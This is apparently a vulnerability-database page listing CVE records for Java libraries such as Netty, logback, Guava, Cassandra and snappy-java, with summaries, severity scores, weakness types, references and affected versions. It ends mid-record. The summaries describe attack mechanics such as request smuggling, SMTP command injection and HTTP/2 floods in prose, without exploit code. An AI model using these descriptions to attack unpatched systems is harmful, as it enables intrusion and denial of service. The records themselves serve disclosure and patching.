Vulnerability-Lookup

CVE-2022-24823 (GCVE-0-2022-24823)

Vulnerability from cvelistv5 – Published: 2022-05-06 12:05 – Updated: 2025-04-22 18:01

Title

Local Information Disclosure Vulnerability in io.netty:netty-codec-http

Summary

Netty is an open-source, asynchronous event-driven network application framework. The package `io.netty:netty-codec-http` prior to version 4.1.77.Final contains an insufficient fix for CVE-2021-21290. When Netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. This only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users. Version 4.1.77.Final contains a patch for this vulnerability. As a workaround, specify one's own `java.io.tmpdir` when starting the JVM or use DefaultHttpDataFactory.setBaseDir(...) to set the directory to something that is only readable by the current user.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-668 - Exposure of Resource to Wrong Sphere
CWE-378 - Creation of Temporary File With Insecure Permissions
CWE-379 - Creation of Temporary File in Directory with Insecure Permissions

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/security/advisorie…	x_refsource_MISC
	https://github.com/netty/netty/commit/185f8b2756a…	x_refsource_MISC
	https://www.oracle.com/security-alerts/cpujul2022.html	x_refsource_MISC
	https://security.netapp.com/advisory/ntap-2022061…	x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: <= 4.1.76.Final

Show details on NVD website

JSON

To clipboard

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CVE-2026-1225 (GCVE-0-2026-1225)

Vulnerability from cvelistv5 – Published: 2026-01-22 09:24 – Updated: 2026-01-22 14:14

Title

Malicious logback.xml configuration file allows instantiation of arbitrary classes

Summary

ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file. The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.

Severity ?

1.8 (Low)


                        
                          CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/S:N/AU:N/RE:M/U:Green

CWE

CWE-20 - Improper Input Validation

Assigner

NCSC.ch

References

URL

Tags

https://logback.qos.ch/news.html#1.5.25

Impacted products

	Vendor	Product	Version
	QOS.CH Sarl	Logback-core	Affected: 0.9.20 , ≤ 1.5.24 (maven) Unaffected: 1.5.25

Credits

https://www.code-intelligence.com/ Google Fuzz

Show details on NVD website

JSON

To clipboard

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CVE-2026-33870 (GCVE-0-2026-33870)

Vulnerability from cvelistv5 – Published: 2026-03-27 19:54 – Updated: 2026-07-03 12:04

Title

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Summary

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://w4ke.info/2025/06/18/funky-chunks.html	x_refsource_MISC
	https://w4ke.info/2025/10/29/funky-chunks-2.html	x_refsource_MISC
	https://www.rfc-editor.org/rfc/rfc9110	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.132.Final Affected: >= 4.2.0.Alpha1, < 4.2.10.Final

Show details on NVD website

JSON

To clipboard

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CVE-2023-2976 (GCVE-0-2023-2976)

Vulnerability from cvelistv5 – Published: 2023-06-14 17:36 – Updated: 2026-02-25 16:57

Title

Use of temporary directory for file creation in `FileBackedOutputStream` in Guava

Summary

Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. Even though the security vulnerability is fixed in version 32.0.0, we recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

Creation of Temporary File With Insecure Permissions

Assigner

Google

References

URL

Tags

	https://github.com/google/guava/issues/2575
	https://security.netapp.com/advisory/ntap-2023081…
	https://www.intel.com/content/www/us/en/security-…

Impacted products

	Vendor	Product	Version
	Google	Guava	Affected: 1.0 , < 32.0.0 (custom)

Show details on NVD website

JSON

To clipboard

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CVE-2025-24860 (GCVE-0-2025-24860)

Vulnerability from cvelistv5 – Published: 2025-02-04 10:17 – Updated: 2025-02-15 00:10

Title

Apache Cassandra: CassandraNetworkAuthorizer and CassandraCIDRAuthorizer can be bypassed allowing access to different network regions

Summary

Incorrect Authorization vulnerability in Apache Cassandra allowing users to access a datacenter or IP/CIDR groups they should not be able to when using CassandraNetworkAuthorizer or CassandraCIDRAuthorizer. Users with restricted data center access can update their own permissions via data control language (DCL) statements on affected versions. This issue affects Apache Cassandra: from 4.0.0 through 4.0.15 and from 4.1.0 through 4.1.7 for CassandraNetworkAuthorizer, and from 5.0.0 through 5.0.2 for both CassandraNetworkAuthorizer and CassandraCIDRAuthorizer. Operators using CassandraNetworkAuthorizer or CassandraCIDRAuthorizer on affected versions should review data access rules for potential breaches. Users are recommended to upgrade to versions 4.0.16, 4.1.8, 5.0.3, which fixes the issue.

Severity ?

No CVSS data available.

CWE

CWE-863 - Incorrect Authorization

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/yjo5on4tf7s1r9qkl…

vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache Cassandra	Affected: 4.0.0 , ≤ 4.0.15 (semver) Affected: 4.1.0 , ≤ 4.1.7 (semver) Affected: 5.0.0 , ≤ 5.0.2 (semver)

Credits

Stefan Miklosovic

Show details on NVD website

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To clipboard

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CVE-2024-47554 (GCVE-0-2024-47554)

Vulnerability from cvelistv5 – Published: 2024-10-03 11:32 – Updated: 2025-01-31 15:02

Title

Apache Commons IO: Possible denial of service attack on untrusted input to XmlStreamReader

Summary

Uncontrolled Resource Consumption vulnerability in Apache Commons IO. The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input. This issue affects Apache Commons IO: from 2.0 before 2.14.0. Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue.

Severity ?

No CVSS data available.

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/6ozr91rr9cj5lm0zy…

vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache Commons IO	Affected: 2.0 , < 2.14.0 (semver)

Credits

CodeQL

Show details on NVD website

JSON

To clipboard

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CVE-2023-34462 (GCVE-0-2023-34462)

Vulnerability from cvelistv5 – Published: 2023-06-22 23:00 – Updated: 2025-02-13 16:55

Title

netty-handler SniHandler 16MB allocation

Summary

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. The `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap. The `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. Normally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`. This vulnerability has been fixed in version 4.1.94.Final.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/535da17e452…	x_refsource_MISC
	https://security.netapp.com/advisory/ntap-2023080…
	https://www.debian.org/security/2023/dsa-5558
	https://security.netapp.com/advisory/ntap-2024062…

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.94.Final

Show details on NVD website

JSON

To clipboard

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CVE-2024-12798 (GCVE-0-2024-12798)

Vulnerability from cvelistv5 – Published: 2024-12-19 15:14 – Updated: 2025-01-03 13:38

Title

JaninoEventEvaluator vulnerability

Summary

ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core upto including version 0.1 to 1.3.14 and 1.4.0 to 1.5.12 in Java applications allows attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.

Severity ?

5.9 (Medium)


                        
                          CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear

CWE

CWE-917 - Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Assigner

NCSC.ch

References

URL

Tags

	https://logback.qos.ch/news.html#1.5.13
	https://logback.qos.ch/news.html#1.3.15

Impacted products

	Vendor	Product	Version
	QOS.CH Sarl	Logback-core	Affected: 0.1 , ≤ 1.3.14 (maven) Affected: 1.4.0 , ≤ 1.5.12 (maven) Unaffected: 1.3.15 Unaffected: 1.5.13

Credits

7asecurity

Show details on NVD website

JSON

To clipboard

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CVE-2024-13009 (GCVE-0-2024-13009)

Vulnerability from cvelistv5 – Published: 2025-05-08 17:29 – Updated: 2025-05-08 18:56 Unsupported When Assigned

Title

Eclipse Jetty GZIP buffer release

Summary

In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests.

Severity ?

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-404 - Improper Resource Shutdown or Release

Assigner

eclipse

References

URL

Tags

	https://gitlab.eclipse.org/security/cve-assigneme…
	https://github.com/jetty/jetty.project/security/a…

Impacted products

	Vendor	Product	Version
	Eclipse Foundation	Jetty	Affected: 9.4.0 , ≤ 9.4.56 (semver)

Show details on NVD website

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To clipboard

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CVE-2026-33871 (GCVE-0-2026-33871)

Vulnerability from cvelistv5 – Published: 2026-03-27 19:55 – Updated: 2026-07-03 12:04

Title

Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass

Summary

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, a remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server's lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive. Versions 4.1.132.Final and 4.2.10.Final fix the issue.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

https://github.com/netty/netty/security/advisorie…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.1.132.Final Affected: >= 4.2.0.Alpha1, < 4.2.10.Final

Show details on NVD website

JSON

To clipboard

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CVE-2025-59419 (GCVE-0-2025-59419)

Vulnerability from cvelistv5 – Published: 2025-10-15 15:42 – Updated: 2025-10-17 19:44

Title

Netty netty-codec-smtp SMTP Command Injection Vulnerability Allowing Email Forgery

Summary

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.128.Final and 4.2.7.Final, the SMTP codec in Netty contains an SMTP command injection vulnerability due to insufficient input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. The vulnerability exists in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string without sanitization. When methods such as SmtpRequests.rcpt(recipient) are called with a malicious string containing CRLF sequences, attackers can inject arbitrary SMTP commands. Because the injected commands are sent from the server's trusted IP address, resulting emails will likely pass SPF and DKIM authentication checks, making them appear legitimate. This allows remote attackers who can control SMTP command parameters (such as email recipients) to forge arbitrary emails from the trusted server, potentially impersonating executives and forging high-stakes corporate communications. This issue has been patched in versions 4.1.129.Final and 4.2.8.Final. No known workarounds exist.

Severity ?

5.5 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/netty/netty/security/advisorie…	x_refsource_CONFIRM
	https://github.com/netty/netty/commit/1782e8c2060…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	netty	netty	Affected: < 4.2.7.Final Affected: >= 4.2.0.Alpha1, < 4.1.128.Final

Show details on NVD website

JSON

To clipboard

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CVE-2023-34453 (GCVE-0-2023-34453)

Vulnerability from cvelistv5 – Published: 2023-06-15 16:12 – Updated: 2024-12-12 16:27

Title

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Summary

snappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing a fatal error. The function `shuffle(int[] input)` in the file `BitShuffle.java` receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function. Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a `java.lang.NegativeArraySizeException` exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as `java.lang.ArrayIndexOutOfBoundsException`. The same issue exists also when using the `shuffle` functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue. Version 1.1.10.1 contains a patch for this vulnerability.

Severity ?

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-190 - Integer Overflow or Wraparound

Assigner

GitHub_M

References

URL

Tags

	https://github.com/xerial/snappy-java/security/ad…	x_refsource_CONFIRM
	https://github.com/xerial/snappy-java/commit/820e…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/05c39b…	x_refsource_MISC
	https://github.com/xerial/snappy-java/blob/master…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	xerial	snappy-java	Affected: < 1.1.10.1

Show details on NVD website

JSON

To clipboard

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CVE-2023-44487 (GCVE-0-2023-44487)

Vulnerability from cvelistv5 – Published: 2023-10-10 00:00 – Updated: 2026-05-12 10:52

Summary

The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

n/a

Assigner

mitre

References

URL

Tags

	https://github.com/dotnet/core/blob/e4613450ea0da…
	https://blog.cloudflare.com/technical-breakdown-h…
	https://aws.amazon.com/security/security-bulletin…
	https://cloud.google.com/blog/products/identity-s…
	https://www.nginx.com/blog/http-2-rapid-reset-att…
	https://cloud.google.com/blog/products/identity-s…
	https://news.ycombinator.com/item?id=37831062
	https://blog.cloudflare.com/zero-day-rapid-reset-…
	https://www.phoronix.com/news/HTTP2-Rapid-Reset-Attack
	https://github.com/envoyproxy/envoy/pull/30055
	https://github.com/haproxy/haproxy/issues/2312
	https://github.com/eclipse/jetty.project/issues/10679
	https://forums.swift.org/t/swift-nio-http2-securi…
	https://github.com/nghttp2/nghttp2/pull/1961
	https://github.com/netty/netty/commit/58f75f665aa…
	https://github.com/alibaba/tengine/issues/1872
	https://github.com/apache/tomcat/tree/main/java/o…
	https://news.ycombinator.com/item?id=37830987
	https://news.ycombinator.com/item?id=37830998
	https://github.com/caddyserver/caddy/issues/5877
	https://www.bleepingcomputer.com/news/security/ne…
	https://github.com/bcdannyboy/CVE-2023-44487
	https://github.com/grpc/grpc-go/pull/6703
	https://github.com/icing/mod_h2/blob/0a864782af0a…
	https://github.com/nghttp2/nghttp2/releases/tag/v1.57.0
	https://mailman.nginx.org/pipermail/nginx-devel/2…
	https://my.f5.com/manage/s/article/K000137106
	https://msrc.microsoft.com/blog/2023/10/microsoft…
	https://bugzilla.proxmox.com/show_bug.cgi?id=4988
	https://cgit.freebsd.org/ports/commit/?id=c64c329…
	http://www.openwall.com/lists/oss-security/2023/10/10/7	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/10/6	mailing-list
	https://seanmonstar.com/post/730794151136935936/h…
	https://github.com/microsoft/CBL-Mariner/pull/6381
	https://groups.google.com/g/golang-announce/c/iNN…
	https://github.com/facebook/proxygen/pull/466
	https://gist.github.com/adulau/7c2bfb8e9cdbe4b35a…
	https://github.com/micrictor/http2-rst-stream
	https://edg.io/lp/blog/resets-leaks-ddos-and-the-…
	https://openssf.org/blog/2023/10/10/http-2-rapid-…
	https://github.com/h2o/h2o/security/advisories/GH…
	https://github.com/h2o/h2o/pull/3291
	https://github.com/nodejs/node/pull/50121
	https://github.com/dotnet/announcements/issues/277
	https://github.com/golang/go/issues/63417
	https://github.com/advisories/GHSA-vx74-f528-fxqg
	https://github.com/apache/trafficserver/pull/10564
	https://msrc.microsoft.com/update-guide/vulnerabi…
	https://tomcat.apache.org/security-10.html#Fixed_…
	https://lists.apache.org/thread/5py8h42mxfsn8l1wy…
	https://www.openwall.com/lists/oss-security/2023/…
	https://www.haproxy.com/blog/haproxy-is-not-affec…
	https://github.com/opensearch-project/data-preppe…
	https://github.com/kubernetes/kubernetes/pull/121120
	https://github.com/oqtane/oqtane.framework/discus…
	https://github.com/advisories/GHSA-xpw8-rcwv-8f8p
	https://netty.io/news/2023/10/10/4-1-100-Final.html
	https://www.cisa.gov/news-events/alerts/2023/10/1…
	https://www.theregister.com/2023/10/10/http2_rapi…
	https://blog.qualys.com/vulnerabilities-threat-re…
	https://news.ycombinator.com/item?id=37837043
	https://github.com/kazu-yamamoto/http2/issues/93
	https://martinthomson.github.io/h2-stream-limits/…
	https://github.com/kazu-yamamoto/http2/commit/f61…
	https://github.com/apache/httpd/blob/afcdbeebbff4…
	https://www.debian.org/security/2023/dsa-5522	vendor-advisory
	https://www.debian.org/security/2023/dsa-5521	vendor-advisory
	https://access.redhat.com/security/cve/cve-2023-44487
	https://github.com/ninenines/cowboy/issues/1615
	https://github.com/varnishcache/varnish-cache/iss…
	https://github.com/tempesta-tech/tempesta/issues/1986
	https://blog.vespa.ai/cve-2023-44487/
	https://github.com/etcd-io/etcd/issues/16740
	https://www.darkreading.com/cloud/internet-wide-z…
	https://istio.io/latest/news/security/istio-secur…
	https://github.com/junkurihara/rust-rpxy/issues/97
	https://bugzilla.suse.com/show_bug.cgi?id=1216123
	https://bugzilla.redhat.com/show_bug.cgi?id=2242803
	https://ubuntu.com/security/CVE-2023-44487
	https://community.traefik.io/t/is-traefik-vulnera…
	https://github.com/advisories/GHSA-qppj-fm5r-hxr3
	https://github.com/apache/httpd-site/pull/10
	https://github.com/projectcontour/contour/pull/5826
	https://github.com/linkerd/website/pull/1695/comm…
	https://github.com/line/armeria/pull/5232
	https://blog.litespeedtech.com/2023/10/11/rapid-r…
	https://security.paloaltonetworks.com/CVE-2023-44487
	https://github.com/akka/akka-http/issues/4323
	https://github.com/openresty/openresty/issues/930
	https://github.com/apache/apisix/issues/10320
	https://github.com/Azure/AKS/issues/3947
	https://github.com/Kong/kong/discussions/11741
	https://github.com/arkrwn/PoC/tree/main/CVE-2023-44487
	https://www.netlify.com/blog/netlify-successfully…
	https://github.com/caddyserver/caddy/releases/tag…
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/13/4	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/13/9	mailing-list
	https://arstechnica.com/security/2023/10/how-ddos…
	https://lists.w3.org/Archives/Public/ietf-http-wg…
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://linkerd.io/2023/10/12/linkerd-cve-2023-44487/
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://security.netapp.com/advisory/ntap-2023101…
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/18/4	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/18/8	mailing-list
	http://www.openwall.com/lists/oss-security/2023/10/19/6	mailing-list
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	http://www.openwall.com/lists/oss-security/2023/10/20/8	mailing-list
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://www.debian.org/security/2023/dsa-5540	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://discuss.hashicorp.com/t/hcsec-2023-32-vau…
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://www.debian.org/security/2023/dsa-5549	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://lists.fedoraproject.org/archives/list/pac…	vendor-advisory
	https://www.debian.org/security/2023/dsa-5558	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023…	mailing-list
	https://security.gentoo.org/glsa/202311-09	vendor-advisory
	https://www.debian.org/security/2023/dsa-5570	vendor-advisory
	https://security.netapp.com/advisory/ntap-2024042…
	https://security.netapp.com/advisory/ntap-2024062…
	https://security.netapp.com/advisory/ntap-2024062…
	https://github.com/grpc/grpc/releases/tag/v1.59.2
	https://sec.cloudapps.cisco.com/security/center/c…

Show details on NVD website

JSON

To clipboard

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            "cpes": [
              "cpe:2.3:a:ietf:http:2.0:*:*:*:*:*:*:*"
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            "versions": [
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                "status": "affected",
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        ],
        "metrics": [
          {
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              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
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                "options": [
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                    "Technical Impact": "partial"
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                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-23T20:34:21.334116Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          },
          {
            "other": {
              "content": {
                "dateAdded": "2023-10-10",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-44487"
              },
              "type": "kev"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-400",
                "description": "CWE-400 Uncontrolled Resource Consumption",
                "lang": "en",
                "type": "CWE"
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        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-21T23:05:35.187Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
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        },
        "references": [
          {
            "tags": [
              "government-resource"
            ],
            "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-44487"
          }
        ],
        "timeline": [
          {
            "lang": "en",
            "time": "2023-10-10T00:00:00.000Z",
            "value": "CVE-2023-44487 added to CISA KEV"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T21:08:27.383Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/dotnet/core/blob/e4613450ea0da7fd2fc6b61dfb2c1c1dec1ce9ec/release-notes/6.0/6.0.23/6.0.23.md?plain=1#L73"
          },
          {
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        {
          "name": "[oss-security] 20231013 Re: CVE-2023-44487: HTTP/2 Rapid Reset attack against many implementations",
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        },
        {
          "url": "https://arstechnica.com/security/2023/10/how-ddosers-used-the-http-2-protocol-to-deliver-attacks-of-unprecedented-size/"
        },
        {
          "url": "https://lists.w3.org/Archives/Public/ietf-http-wg/2023OctDec/0025.html"
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        },
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          "url": "https://security.netapp.com/advisory/ntap-20231016-0001/"
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          "url": "https://www.debian.org/security/2023/dsa-5570"
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CVE-2025-23015 (GCVE-0-2025-23015)

Vulnerability from cvelistv5 – Published: 2025-02-04 09:37 – Updated: 2025-02-15 00:10

Title

Apache Cassandra: User with MODIFY permission on ALL KEYSPACES can escalate privileges to superuser via unsafe actions

Summary

Privilege Defined With Unsafe Actions vulnerability in Apache Cassandra. An user with MODIFY permission ON ALL KEYSPACES can escalate privileges to superuser within a targeted Cassandra cluster via unsafe actions to a system resource. Operators granting data MODIFY permission on all keyspaces on affected versions should review data access rules for potential breaches. This issue affects Apache Cassandra through 3.0.30, 3.11.17, 4.0.15, 4.1.7, 5.0.2. Users are recommended to upgrade to versions 3.0.31, 3.11.18, 4.0.16, 4.1.8, 5.0.3, which fixes the issue.

Severity ?

No CVSS data available.

CWE

CWE-267 - Privilege Defined With Unsafe Actions

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/jmks4msbgkl65ssg6…

vendor-advisory

Impacted products

	Vendor	Product	Version
	Apache Software Foundation	Apache Cassandra	Affected: 3.0.0 , ≤ 3.0.30 (semver) Affected: 3.1.0 , ≤ 3.11.17 (semver) Affected: 4.0.0 , ≤ 4.0.15 (semver) Affected: 4.1.0 , ≤ 4.1.7 (semver) Affected: 5.0.0 , ≤ 5.0.2 (semver)

Credits

Adam Pond of Apple Services Engineering Security Ali Mirheidari of Apple Services Engineering Security Terry Thibault of Apple Services Engineering Security Will Brattain of Apple Services Engineering Security

Show details on NVD website

JSON

To clipboard

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CVE-2025-48924 (GCVE-0-2025-48924)

Vulnerability from cvelistv5 – Published: 2025-07-11 14:56 – Updated: 2025-11-04 22:06

Title

Apache Commons Lang, Apache Commons Lang: ClassUtils.getClass(...) can throw a StackOverflowError on very long inputs

Summary

Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue.

Severity ?

No CVSS data available.

CWE

CWE-674 - Uncontrolled Recursion

Assigner

apache

References

URL

Tags

https://lists.apache.org/thread/bgv0lpswokgol11tl…

vendor-advisory

Impacted products

Vendor

Product

Version

Apache Software Foundation

Apache Commons Lang

Affected: 2.0 , ≤ 2.6 (maven)

Apache Software Foundation

Apache Commons Lang

Affected: 3.0 , < 3.18.0 (maven)

Credits

OSS-Fuzz Issue 42522972

Show details on NVD website

JSON

To clipboard

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CVE-2023-43642 (GCVE-0-2023-43642)

Vulnerability from cvelistv5 – Published: 2023-09-25 19:03 – Updated: 2024-09-24 15:26

Title

Missing upper bound check on chunk length in snappy-java

Summary

snappy-java is a Java port of the snappy, a fast C++ compresser/decompresser developed by Google. The SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. All versions of snappy-java including the latest released version 1.1.10.3 are vulnerable to this issue. A fix has been introduced in commit `9f8c3cf74` which will be included in the 1.1.10.4 release. Users are advised to upgrade. Users unable to upgrade should only accept compressed data from trusted sources.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

URL

Tags

	https://github.com/xerial/snappy-java/security/ad…	x_refsource_CONFIRM
	https://github.com/xerial/snappy-java/commit/9f8c…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	xerial	snappy-java	Affected: < 1.1.10.4

Show details on NVD website

JSON

To clipboard

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CVE-2024-29025 (GCVE-0-2024-29025)

Vulnerability from cvelistv5 – Published: 2024-03-25 20:09 – Updated: 2025-02-13 17:47

Title

Netty HttpPostRequestDecoder can OOM

Summary

